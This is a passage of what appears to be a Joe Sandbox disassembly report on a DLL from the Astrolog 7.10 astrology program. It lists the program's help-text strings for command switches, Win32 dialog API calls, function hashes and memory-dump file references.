file2.$ _rc <file1> <file2>: Compute a composite chart.$ _rd <file1> <file2>: Print time span between files' dates.$ _rm <file1> <file2>: Compute a time space midpoint chart.$ _rp[0] <file1> <file2>: Like _r0 but do file1 progr. to file2.$ _rt <file1> <file2>: Like _r0 but treat file2 as transiting.$ _s [..]: Compute a sidereal instead of standard tropical chart.$ _s[z,h,d]: Display locations as in zodiac, hours/minutes, or degrees.$ _sr0: Like _sr but only display declinations instead of latitudes.$ _sr: Compute right ascension locations relative to equator.$ _t <month> <year>: Compute all transits to natal planets in month.$ _t[p]Y: <year> <years>: Compute transits for a number of years.$ _t[p]d: <month> <day> <year>: Compute transits for a single day.$ _t[p]y: <year>: Compute transits/progressions for entire year.$ _t[py]n: Compute transits to natal planets for current time now.$ _tp <month> <year>: Compute progressions to natal in month for chart.$ _tr <month> <year>: Compute all returns in month for chart.$ _u: Include transneptunian/Uranian bodies in charts.$ _v0: Like _v but express velocities relative to average speed.$ _v: Display list of object positions (chosen by default).$ _w [<rows>]: Display chart in a graphic house wheel format.$ _w0 [..]: Like _w but reverse order of objects in houses 4..9.$ _x <value>: Cast harmonic chart based on specified factor.$ _y <file>: Display current house transits for particular chart.$ _y[b,d,p,t] <file>: Like _r0 but compare to current time now.$ _z [<zone>]: Change the default time zone (for _d_E_t_q options).$ _z0 [<offset>]: Change the default Daylight time setting.$ _zN <city>: Lookup city in atlas and set zone, Daylight, and location.$ _zd <date>: Set only the day of current chart.$ _zi <name> <place>: Set name and place strings of current chart.$ _zj <name> <place>: Change the default name and place strings.$ _zl <long> <lat>: Change the default longitude & latitude.$ _zm <month>: Set only the month of current chart.$ _zt <time>: Set only the time of current chart.$ _zv <elev>: Change the default elevation above sea level.$ _zy <year>: Set only the year of current chart.$%s (version %s) command switches:$7.10$Astrolog$_HF$_HI
API String ID: 1830584065-1115848666
Opcode ID: 3099f76ba02caed37bb0308cd186df755b833ca080dc89e6d71feb5fa3afe4ec
Instruction ID: c5c0b77ac188899b4f2f998c9f7421fb9524b3ec44805c73e941027846019db9
Opcode Fuzzy Hash: 3099f76ba02caed37bb0308cd186df755b833ca080dc89e6d71feb5fa3afe4ec
Instruction Fuzzy Hash: 24D1C6A6B98059AAE6307BFDCB63489F1505BB3149F904C36A0619EF03DB18E81D57B3

Function 6C80D430 Relevance: 252.3, APIs: 1, Strings: 143, Instructions: 300COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C80D453

Strings

_Yk <0..8> <0..8> <col1>..<col2>: Customize 'general' colors., xrefs: 6C80D78D
_YR <obj1> <obj2> <flag1>..<flag2>: Set restrictions for object range., xrefs: 6C80D611
_Ye[..]s <obj> <index>: Change Uranian to South Node of object., xrefs: 6C80D5A3
Astrolog, xrefs: 6C80D445
_Yt: Display times in 24 hour instead of am/pm format., xrefs: 6C80D4C7
barycentric, true node, true position, or topocentric for object., xrefs: 6C80D5CB
_Yr: Round positions to nearest unit instead of crop fraction., xrefs: 6C80D4DB
_~g <string>: Set filter for aspect configurations., xrefs: 6C80D8FF
_~kO <string>: Set adjustment for object colors., xrefs: 6C80D995
_Yj0 <inf1> <inf2> <inf3> <inf4>: Set influences given to planets, xrefs: 6C80D6BB
_~Q[1-2] <string>: Set notification before/after chart displayed., xrefs: 6C80D9B3
_YIA0 <asp> <string>: Customize aspect interpretation statement., xrefs: 6C80D751
_YR7 <ruler> <exalt> <eso> <hier> <ray>: Set rulership restrictions., xrefs: 6C80D639
_YkC <fir> <ear> <air> <wat>: Customize element colors., xrefs: 6C80D765
_Yh: Compute location of solar system barycenter instead of Sun., xrefs: 6C80D481
_YXp0 <hor> <ver>: Set paper size for PostScript files., xrefs: 6C80D87D
_YJ70 <obj> <sign> <cosign>: Set signs planet hierarchically rules., xrefs: 6C80D701
_~E <string>: Set filter for text ephemeris lines., xrefs: 6C80D93B
_Yl <1-36>: Toggle plus zone status of sector for sector chart., xrefs: 6C80D553
_Yk7 <1..7> <1..7> <col1>..<col2>: Customize Ray colors., xrefs: 6C80D779
_0[o,i,q,X,~]: Permanently disable file output, file input,, xrefs: 6C80D8C3
_YY <rows>: Load atlas list of city locations from current file., xrefs: 6C80D89B
_YY2 <zones> <entries>: Load time zone change lists from file., xrefs: 6C80D8AF
_YIa <sign> <string>: Customize interpretation adjective for sign., xrefs: 6C80D729
_YY1 <rules> <entries>: Load Daylight Time rules from current file., xrefs: 6C80D8A5
_Yeb <obj> <index>: Change orbit of Uranian to external ephemeris., xrefs: 6C80D57B
Switches to access obscure system options:, xrefs: 6C80D887
_YRU[0] <starlist>: Restrict or focus on list of extra stars., xrefs: 6C80D657
_~kA <string>: Set adjustment for aspect colors., xrefs: 6C80D99F
_YI <obj> <string>: Customize interpretation for object., xrefs: 6C80D71F
_YRZ <rise> <zenith> <set> <nadir>: Set restrictions for _Zd chart., xrefs: 6C80D62F
_~ <string>: Display result of string parsed as AstroExpression., xrefs: 6C80D8EB
_YXD <obj> <string1> <string2>: Customize glyphs for planet., xrefs: 6C80D7DD
_YP <-1,0,1>: Set how Arabic parts are computed for night charts., xrefs: 6C80D55D
esoteric, hierarchical, Ray ruling sign, plus same for ruling house., xrefs: 6C80D6D9
_YJ0 <obj> <sign>: Set zodiac sign given planet exalts in., xrefs: 6C80D6ED
_Y: Display this help list., xrefs: 6C80D463
_YXa <num>: Set limit to dashedness in aspect lines drawn., xrefs: 6C80D855
_YXA <asp> <string1> <string2>: Customize glyphs for aspect., xrefs: 6C80D7E7
_~ma <string>: Set filter for displaying aspects to midpoints., xrefs: 6C80D927
_YJ7 <obj> <sign> <cosign>: Set signs planet esoterically rules., xrefs: 6C80D6F7
_Ye[..]a <obj> <index>: Change Uranian to aphelion of object., xrefs: 6C80D5AD
_YU <obj> <name>: Change position of star to sefstars.txt entry., xrefs: 6C80D5F3
_Yj <obj1> <obj2> <inf1>..<inf2>: Set influences for object range., xrefs: 6C80D693
program exiting, all graphics, or AstroExpressions., xrefs: 6C80D8CD
Switches to define AstroExpressions:, xrefs: 6C80D8E1
_Y7O <obj1> <obj2> <ray1>..<ray2>: Customize object rays., xrefs: 6C80D70B
_Yq[0-9] <strings>: Define command lines to run and show in sequence., xrefs: 6C80D50D
_YUb0: Set brightness to distance independent absolute magnitude., xrefs: 6C80D607
_~t <string>: Set filter for transit to natal events., xrefs: 6C80D959
_YjC <cusp1> <cusp2> <inf1>..<inf2>: Set influences for house cusps., xrefs: 6C80D69D
_YD <obj> <name>: Customize display name of object., xrefs: 6C80D7AB
_YXU <starlist> <linklist>: Define lines between extra stars., xrefs: 6C80D85F
_Ye <obj> <index>: Change orbit of Uranian to external formula., xrefs: 6C80D571
_~p[0] <string>: Set adjustment for progression offset., xrefs: 6C80D98B
_Yb <days>: Set number of days to span for biorhythm chart., xrefs: 6C80D567
_YkA <asp1> <asp2> <col1>..<col2>: Customize aspect colors., xrefs: 6C80D76F
_~m <string>: Set filter for midpoint display., xrefs: 6C80D91D
_Y7C <sign1> <sign2> <rays1>..<rays2>: Customize sign rays., xrefs: 6C80D715
_YkO <obj1> <obj2> <col1>..<col2>: Customize planet colors., xrefs: 6C80D75B
_Yi[0-9] <path>: Specify directory to search within for files., xrefs: 6C80D517
_YT: Compute true positions in space instead of apparent in sky., xrefs: 6C80D46D
_~P <string>: Set filter for Arabic parts display., xrefs: 6C80D945
_YXe: Align certain charts to plane of ecliptic., xrefs: 6C80D84B
_YRd <div>: Set divisions within signs to search for degree changes., xrefs: 6C80D643
_Ys: Sidereal zodiac positions are in plane of solar system., xrefs: 6C80D495
_~a <string>: Set adjustment for aspect list powers., xrefs: 6C80D909
_YeO <obj1> <obj2>: Change orbit of Uranian to internal planet., xrefs: 6C80D58F
_~v <string>: Set adjustment for object display ordering., xrefs: 6C80D8F5
_YAm <obj1> <obj2> <orb1>..<orb2>: Set max planet orbs for range., xrefs: 6C80D66B
_Yo: Output chart info and position files in old style format., xrefs: 6C80D521
_YF <obj> <deg><sign><min> <deg><min> <velocity> <au>: Set position., xrefs: 6C80D7B5
_Yn0: Don't consider nutation in tropical zodiac positions., xrefs: 6C80D4A9
_YXv <type> [<size> [<lines>]]: Set wheel chart decoration., xrefs: 6C80D7F1
_YE <obj> <semi-major axis> <eccentricity (3)> <inclination (3)>, xrefs: 6C80D5D5
_Yj7 <inf1> <inf2> <inf3> <inf4> <inf5> <inf6>: Set influences for in, xrefs: 6C80D6CF
_Ye[..]HSBNTV <obj> <index>: Toggle heliocentric, sidereal zodiac,, xrefs: 6C80D5C1
<perihelion (3)> <ascending node (3)> <time offset (3)>:, xrefs: 6C80D5DF
7.10, xrefs: 6C80D440
_Yd: Display dates in D/M/Y instead of M/D/Y format., xrefs: 6C80D4BD
_~q[1-2] <string>: Set notification before/after chart cast., xrefs: 6C80D9A9
_YIv <sign> <string>: Customize interpretation verb for sign., xrefs: 6C80D733
_;: Ignore rest of command line and treat it as a comment., xrefs: 6C80D8D7
_Ym: Position planetary moons around current central object., xrefs: 6C80D48B
_YC: Automatically ignore insignificant house cusp aspects., xrefs: 6C80D4E5
for Capricorn, Uranus, Pluto, and Lilith., xrefs: 6C80D7D3
_YRT <obj1> <obj2> <flag1>..<flag2>: Transit restrictions for range., xrefs: 6C80D61B
%s (version %s) obscure command switches:, xrefs: 6C80D44D
_~C <string>: Set adjustment for house cusp calculations., xrefs: 6C80D977
_YAd <obj1> <obj2> <orb1>..<orb2>: Set planet orb additions for range., xrefs: 6C80D675
_~O <string>: Set adjustment for object calculations., xrefs: 6C80D96D
in ruling sign, exalted sign, ruling house, exalted house., xrefs: 6C80D6C5
_YXk: Use more color for sign boundaries in graphics charts., xrefs: 6C80D82D
_Yp: Fix polar houses by preserving Ascendant instead of MC., xrefs: 6C80D535
_~1 <string>: Simply parse AstroExpression (don't show result)., xrefs: 6C80D9C7
_YAD <asp> <name> <abbrev> <glyph>: Customize display names of aspect., xrefs: 6C80D689
_~M <0-26> <string>: Define the specified AstroExpression macro., xrefs: 6C80D9BD
_YIC <house> <string>: Customize interpretation for house., xrefs: 6C80D73D
_YY3 <rows>: Load atlas time zone to zone change mappings from file., xrefs: 6C80D8B9
_YkU <starlist>: Customize list of extra star colors., xrefs: 6C80D797
_YO: Automatically adjust settings when exporting and printing., xrefs: 6C80D4EF
_YIA <asp> <string>: Customize interpretation for aspect., xrefs: 6C80D747
_YJ <obj> <sign> <cosign>: Set sign planet rules and co-rules., xrefs: 6C80D6E3
Change orbit of object to be the given elements., xrefs: 6C80D5E9
_YjT <obj1> <obj2> <inf1>..<inf2>: Set transit influences for range., xrefs: 6C80D6B1
_~A <string>: Set adjustment for aspect orbs., xrefs: 6C80D981
_YX7 <inf>: Set influence width for graphic esoteric ephemeris., xrefs: 6C80D823
_YXk0: Use more color for house boundaries in graphics charts too., xrefs: 6C80D837
_Yem <obj> <index>: Change orbit of Uranian to planet moon ephemeris., xrefs: 6C80D585
_YUb: Adjust star brightness to apparent magnitude based on distance., xrefs: 6C80D5FD
_Ye[..]n <obj> <index>: Change Uranian to North Node of object., xrefs: 6C80D599
_~a0 <string>: Set notification for aspect list summary., xrefs: 6C80D913
_YAa <asp1> <asp2> <ang1>..<ang2>: Set planet aspect angles for range., xrefs: 6C80D67F
_~d <string>: Set filter for transit to transit events., xrefs: 6C80D94F
_Yv: Display distance in metric instead of imperial units., xrefs: 6C80D4D1
_YXS <au>: Set radius of graphic solar system orbit chart., xrefs: 6C80D805
_YjA <asp1> <asp2> <inf1>..<inf2>: Set influences for aspect range., xrefs: 6C80D6A7
_YXp <-1,0,1>: Set paper orientation for PostScript files., xrefs: 6C80D873
_Yc: Angular cusp objects are house positions instead of angles., xrefs: 6C80D52B
_Yz <min>: Forward clock by amount for current moment charts., xrefs: 6C80D53F
_Yn: Compute location of true instead of mean node., xrefs: 6C80D49F
_Yk0 <1..7> <1..7> <col1>..<col2>: Customize 'rainbow' colors., xrefs: 6C80D783
_YXj0 <step>: Set vertical step rate for graphic orbit trails., xrefs: 6C80D819
_YQ <rows>: Pause text scrolling after a page full has printed., xrefs: 6C80D503
_YV: Compute topocentric positions instead of from center of body., xrefs: 6C80D477
Switches to access obscure graphics options:, xrefs: 6C80D7BF
_YXg <cells>: Set number of cells for graphic aspect grid., xrefs: 6C80D7FB
_~L <string>: Set filter for astro-graph latitude crossings., xrefs: 6C80D931
_YXf <0-4><0-1><0-3><0-3>: Set usage of fonts in graphic charts., xrefs: 6C80D869
_~0: Disable all automatic AstroExpression checks in the program., xrefs: 6C80D9D1
_~j <string>: Set adjustment for object influence., xrefs: 6C80D963
_YRh: Don't auto(un)restrict central planet when changing it., xrefs: 6C80D64D
_Y1[0] <obj1> <obj2>: Rotate planets so one is at other's position., xrefs: 6C80D549
_Yu: Display eclipse and occultation information in charts., xrefs: 6C80D4B3
_YXK <col> <rgb>: Customize RGB value of color index., xrefs: 6C80D841
_YR0 <flag1> <flag2>: Set restrictions for sign, direction changes., xrefs: 6C80D625
_YXG <0-2><0-2><0-3><0-2>: Select among different graphic glyphs, xrefs: 6C80D7C9
_YAo <asp1> <asp2> <orb1>..<orb2>: Set aspect orbs for range., xrefs: 6C80D661
_YXj <num>: Set number of graphic orbit trails to remember., xrefs: 6C80D80F
_Y8: Clip text charts at the rightmost (e.g. 80th) column., xrefs: 6C80D4F9
_YB: Make a beep sound at the time this switch is processed., xrefs: 6C80D891
_YkE <astlist>: Customize list of extra asteroid colors., xrefs: 6C80D7A1
_Ye[..]p <obj> <index>: Change Uranian to perihelion of object., xrefs: 6C80D5B7

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: Switches to access obscure graphics options:$Switches to access obscure system options:$Switches to define AstroExpressions:$ <perihelion (3)> <ascending node (3)> <time offset (3)>:$ Change orbit of object to be the given elements.$ barycentric, true node, true position, or topocentric for object.$ esoteric, hierarchical, Ray ruling sign, plus same for ruling house.$ for Capricorn, Uranus, Pluto, and Lilith.$ in ruling sign, exalted sign, ruling house, exalted house.$ program exiting, all graphics, or AstroExpressions.$ _0[o,i,q,X,~]: Permanently disable file output, file input,$ _;: Ignore rest of command line and treat it as a comment.$ _Y1[0] <obj1> <obj2>: Rotate planets so one is at other's position.$ _Y7C <sign1> <sign2> <rays1>..<rays2>: Customize sign rays.$ _Y7O <obj1> <obj2> <ray1>..<ray2>: Customize object rays.$ _Y8: Clip text charts at the rightmost (e.g. 80th) column.$ _Y: Display this help list.$ _YAD <asp> <name> <abbrev> <glyph>: Customize display names of aspect.$ _YAa <asp1> <asp2> <ang1>..<ang2>: Set planet aspect angles for range.$ _YAd <obj1> <obj2> <orb1>..<orb2>: Set planet orb additions for range.$ _YAm <obj1> <obj2> <orb1>..<orb2>: Set max planet orbs for range.$ _YAo <asp1> <asp2> <orb1>..<orb2>: Set aspect orbs for range.$ _YB: Make a beep sound at the time this switch is processed.$ _YC: Automatically ignore insignificant house cusp aspects.$ _YD <obj> <name>: Customize display name of object.$ _YE <obj> <semi-major axis> <eccentricity (3)> <inclination (3)>$ _YF <obj> <deg><sign><min> <deg><min> <velocity> <au>: Set position.$ _YI <obj> <string>: Customize interpretation for object.$ _YIA <asp> <string>: Customize interpretation for aspect.$ _YIA0 <asp> <string>: Customize aspect interpretation statement.$ _YIC <house> <string>: Customize interpretation for house.$ _YIa <sign> <string>: Customize interpretation adjective for sign.$ _YIv <sign> <string>: Customize interpretation verb for sign.$ _YJ <obj> <sign> <cosign>: Set sign planet rules and co-rules.$ _YJ0 <obj> <sign>: Set zodiac sign given planet exalts in.$ _YJ7 <obj> <sign> <cosign>: Set signs planet esoterically rules.$ _YJ70 <obj> <sign> <cosign>: Set signs planet hierarchically rules.$ _YO: Automatically adjust settings when exporting and printing.$ _YP <-1,0,1>: Set how Arabic parts are computed for night charts.$ _YQ <rows>: Pause text scrolling after a page full has printed.$ _YR <obj1> <obj2> <flag1>..<flag2>: Set restrictions for object range.$ _YR0 <flag1> <flag2>: Set restrictions for sign, direction changes.$ _YR7 <ruler> <exalt> <eso> <hier> <ray>: Set rulership restrictions.$ _YRT <obj1> <obj2> <flag1>..<flag2>: Transit restrictions for range.$ _YRU[0] <starlist>: Restrict or focus on list of extra stars.$ _YRZ <rise> <zenith> <set> <nadir>: Set restrictions for _Zd chart.$ _YRd <div>: Set divisions within signs to search for degree changes.$ _YRh: Don't auto(un)restrict central planet when changing it.$ _YT: Compute true positions in space instead of apparent in sky.$ _YU <obj> <name>: Change position of star to sefstars.txt entry.$ _YUb0: Set brightness to distance independent absolute magnitude.$ _YUb: Adjust star brightness to apparent magnitude based on distance.$ _YV: Compute topocentric positions instead of from center of body.$ _YX7 <inf>: Set influence width for graphic esoteric ephemeris.$ _YXA <asp> <string1> <string2>: Customize glyphs for aspect.$ _YXD <obj> <string1> <string2>: Customize glyphs for planet.$ _YXG <0-2><0-2><0-3><0-2>: Select among different graphic glyphs$ _YXK <col> <rgb>: Customize RGB value of color index.$ _YXS <au>: Set radius of graphic solar system orbit chart.$ _YXU <starlist> <linklist>: Define lines between extra stars.$ _YXa <num>: Set limit to dashedness in aspect lines drawn.$ _YXe: Align certain charts to plane of ecliptic.$ _YXf <0-4><0-1><0-3><0-3>: Set usage of fonts in graphic charts.$ _YXg <cells>: Set number of cells for graphic aspect grid.$ _YXj <num>: Set number of graphic orbit trails to remember.$ _YXj0 <step>: Set vertical step rate for graphic orbit trails.$ _YXk0: Use more color for house boundaries in graphics charts too.$ _YXk: Use more color for sign boundaries in graphics charts.$ _YXp <-1,0,1>: Set paper orientation for PostScript files.$ _YXp0 <hor> <ver>: Set paper size for PostScript files.$ _YXv <type> [<size> [<lines>]]: Set wheel chart decoration.$ _YY <rows>: Load atlas list of city locations from current file.$ _YY1 <rules> <entries>: Load Daylight Time rules from current file.$ _YY2 <zones> <entries>: Load time zone change lists from file.$ _YY3 <rows>: Load atlas time zone to zone change mappings from file.$ _Yb <days>: Set number of days to span for biorhythm chart.$ _Yc: Angular cusp objects are house positions instead of angles.$ _Yd: Display dates in D/M/Y instead of M/D/Y format.$ _Ye <obj> <index>: Change orbit of Uranian to external formula.$ _YeO <obj1> <obj2>: Change orbit of Uranian to internal planet.$ _Ye[..]HSBNTV <obj> <index>: Toggle heliocentric, sidereal zodiac,$ _Ye[..]a <obj> <index>: Change Uranian to aphelion of object.$ _Ye[..]n <obj> <index>: Change Uranian to North Node of object.$ _Ye[..]p <obj> <index>: Change Uranian to perihelion of object.$ _Ye[..]s <obj> <index>: Change Uranian to South Node of object.$ _Yeb <obj> <index>: Change orbit of Uranian to external ephemeris.$ _Yem <obj> <index>: Change orbit of Uranian to planet moon ephemeris.$ _Yh: Compute location of solar system barycenter instead of Sun.$ _Yi[0-9] <path>: Specify directory to search within for files.$ _Yj <obj1> <obj2> <inf1>..<inf2>: Set influences for object range.$ _Yj0 <inf1> <inf2> <inf3> <inf4>: Set influences given to planets$ _Yj7 <inf1> <inf2> <inf3> <inf4> <inf5> <inf6>: Set influences for in$ _YjA <asp1> <asp2> <inf1>..<inf2>: Set influences for aspect range.$ _YjC <cusp1> <cusp2> <inf1>..<inf2>: Set influences for house cusps.$ _YjT <obj1> <obj2> <inf1>..<inf2>: Set transit influences for range.$ _Yk <0..8> <0..8> <col1>..<col2>: Customize 'general' colors.$ _Yk0 <1..7> <1..7> <col1>..<col2>: Customize 'rainbow' colors.$ _Yk7 <1..7> <1..7> <col1>..<col2>: Customize Ray colors.$ _YkA <asp1> <asp2> <col1>..<col2>: Customize aspect colors.$ _YkC <fir> <ear> <air> <wat>: Customize element colors.$ _YkE <astlist>: Customize list of extra asteroid colors.$ _YkO <obj1> <obj2> <col1>..<col2>: Customize planet colors.$ _YkU <starlist>: Customize list of extra star colors.$ _Yl <1-36>: Toggle plus zone status of sector for sector chart.$ _Ym: Position planetary moons around current central object.$ _Yn0: Don't consider nutation in tropical zodiac positions.$ _Yn: Compute location of true instead of mean node.$ _Yo: Output chart info and position files in old style format.$ _Yp: Fix polar houses by preserving Ascendant instead of MC.$ _Yq[0-9] <strings>: Define command lines to run and show in sequence.$ _Yr: Round positions to nearest unit instead of crop fraction.$ _Ys: Sidereal zodiac positions are in plane of solar system.$ _Yt: Display times in 24 hour instead of am/pm format.$ _Yu: Display eclipse and occultation information in charts.$ _Yv: Display distance in metric instead of imperial units.$ _Yz <min>: Forward clock by amount for current moment charts.$ _~ <string>: Display result of string parsed as AstroExpression.$ _~0: Disable all automatic AstroExpression checks in the program.$ _~1 <string>: Simply parse AstroExpression (don't show result).$ _~A <string>: Set adjustment for aspect orbs.$ _~C <string>: Set adjustment for house cusp calculations.$ _~E <string>: Set filter for text ephemeris lines.$ _~L <string>: Set filter for astro-graph latitude crossings.$ _~M <0-26> <string>: Define the specified AstroExpression macro.$ _~O <string>: Set adjustment for object calculations.$ _~P <string>: Set filter for Arabic parts display.$ _~Q[1-2] <string>: Set notification before/after chart displayed.$ _~a <string>: Set adjustment for aspect list powers.$ _~a0 <string>: Set notification for aspect list summary.$ _~d <string>: Set filter for transit to transit events.$ _~g <string>: Set filter for aspect configurations.$ _~j <string>: Set adjustment for object influence.$ _~kA <string>: Set adjustment for aspect colors.$ _~kO <string>: Set adjustment for object colors.$ _~m <string>: Set filter for midpoint display.$ _~ma <string>: Set filter for displaying aspects to midpoints.$ _~p[0] <string>: Set adjustment for progression offset.$ _~q[1-2] <string>: Set notification before/after chart cast.$ _~t <string>: Set filter for transit to natal events.$ _~v <string>: Set adjustment for object display ordering.$%s (version %s) obscure command switches:$7.10$Astrolog
API String ID: 1467051239-1561243677
Opcode ID: d7a9f55219e7da5c8a23085f8d4836f3239bde02128e3c8baca60c73d03fbe07
Instruction ID: 249d08968f5ab1e9524b2f87ed51cbb0e8ecd80732cbe6414ec17d2a651f611f
Opcode Fuzzy Hash: d7a9f55219e7da5c8a23085f8d4836f3239bde02128e3c8baca60c73d03fbe07
Instruction Fuzzy Hash: 4CA1C626B59199BAE5707BFDAB625CCB0108FB2169F924D71A061DEF42CF10E84C5733

Function 6C85B967 Relevance: 96.7, APIs: 48, Strings: 7, Instructions: 498windowCOMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,000004B2,?,000000FF), ref: 6C85B9D0
GetDlgItemInt.USER32(?,000004B1,00000000,00000001), ref: 6C85B9FD
GetDlgItemTextA.USER32(?,000004B0,?,000000FF), ref: 6C85BA17
CheckMenuItem.USER32(00009C92,00000000), ref: 6C85BAD9
CheckMenuItem.USER32(00009CB7,00000000), ref: 6C85BB0B
IsDlgButtonChecked.USER32(?,0000054B), ref: 6C85BB1F
IsDlgButtonChecked.USER32(?,0000054C), ref: 6C85BB2C
IsDlgButtonChecked.USER32(?,0000054A), ref: 6C85BB39
IsDlgButtonChecked.USER32(?,0000054D), ref: 6C85BB46
IsDlgButtonChecked.USER32(?,000004B7), ref: 6C85BB53
IsDlgButtonChecked.USER32(?,000004B8), ref: 6C85BB63
CheckMenuItem.USER32(00009CBB,00000059), ref: 6C85BB8F
IsDlgButtonChecked.USER32(?,00000544), ref: 6C85BBA1
IsDlgButtonChecked.USER32(?,00000549), ref: 6C85BBAE
IsDlgButtonChecked.USER32(?,00000548), ref: 6C85BBBB
IsDlgButtonChecked.USER32(?,0000054E), ref: 6C85BBC8
IsDlgButtonChecked.USER32(?,0000054F), ref: 6C85BBD5
IsDlgButtonChecked.USER32(?,00000547), ref: 6C85BBE2
CheckMenuItem.USER32(00009CB5,00000000), ref: 6C85BBFC
IsDlgButtonChecked.USER32(?,00000545), ref: 6C85BC0E
IsDlgButtonChecked.USER32(?,00000546), ref: 6C85BC1B
GetDlgItemTextA.USER32(?,00000450,?,000000FF), ref: 6C85BC38
EndDialog.USER32(?,00000001), ref: 6C85BCC2
_sprintf.LIBCMT ref: 6C85BD9A
SendDlgItemMessageA.USER32(?,00000451,00000143,00000000,?), ref: 6C85BDB5
SetDlgItemTextA.USER32(?,00000451,?), ref: 6C85BDD7
SetDlgItemInt.USER32(?,000004B1,00000001), ref: 6C85BE29
CheckDlgButton.USER32(?,0000054B), ref: 6C85BE41
CheckDlgButton.USER32(?,0000054C), ref: 6C85BE4F
CheckDlgButton.USER32(?,0000054A), ref: 6C85BE5D
CheckDlgButton.USER32(?,0000054D), ref: 6C85BE6B
SetDlgItemTextA.USER32(?,000004B2), ref: 6C85BE7F
CheckRadioButton.USER32(?,000004B7,000004B9,000004B8), ref: 6C85BEAC
SetDlgItemTextA.USER32(?,000004B0), ref: 6C85BED1
CheckDlgButton.USER32(?,00000544), ref: 6C85BEE3
CheckDlgButton.USER32(?,00000549), ref: 6C85BEF1
CheckDlgButton.USER32(?,00000548), ref: 6C85BEFF
CheckDlgButton.USER32(?,0000054E), ref: 6C85BF0D
CheckDlgButton.USER32(?,0000054F), ref: 6C85BF1B
CheckDlgButton.USER32(?,00000547), ref: 6C85BF29
CheckDlgButton.USER32(?,00000545), ref: 6C85BF37
CheckDlgButton.USER32(?,00000546), ref: 6C85BF45
SendDlgItemMessageA.USER32(?,00000450,00000143,00000000), ref: 6C85BF5B
SendDlgItemMessageA.USER32(?,00000450,00000143,00000000), ref: 6C85BF6C
SendDlgItemMessageA.USER32(?,00000450,00000143,00000000), ref: 6C85BF7D
SendDlgItemMessageA.USER32(?,00000450,00000143,00000000), ref: 6C85BF8E
SendDlgItemMessageA.USER32(?,00000450,00000143,00000000), ref: 6C85BF9F
SetDlgItemTextA.USER32(?,00000450), ref: 6C85BFDC

Part of subcall function 6C85950B: GetDlgItemTextA.USER32(?,?,?,000000FF), ref: 6C859531

Strings

Solar chart planet, xrefs: 6C85BCCA
zodiac offset, xrefs: 6C85BCFB
central planet, xrefs: 6C85BCF1
Y, xrefs: 6C85BAA5
dwad nesting, xrefs: 6C85BCD7
%s, xrefs: 6C85BD94
harmonic factor, xrefs: 6C85BCE6

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Button$Item$Check$Checked$Text$MessageSend$Menu$DialogRadio_sprintf
String ID: %s$Solar chart planet$Y$central planet$dwad nesting$harmonic factor$zodiac offset
API String ID: 3565175147-1397570246
Opcode ID: ced1ad5b79a7a3aeb5abc5293ba67c57d4f96fa60530013897edad547a11be5c
Instruction ID: 63fff70b24b6821d5c97b4a507d2d505f55e22c9c84d0e1b846d40999f08f0c8
Opcode Fuzzy Hash: ced1ad5b79a7a3aeb5abc5293ba67c57d4f96fa60530013897edad547a11be5c
Instruction Fuzzy Hash: 20F1F3B2748305ABEB229F25CD47F7B7FB8EB46B58F10082AF50496A90D7B48550CF91

Function 6C85BFFC Relevance: 93.2, APIs: 49, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,00000474,?,000000FF), ref: 6C85C053
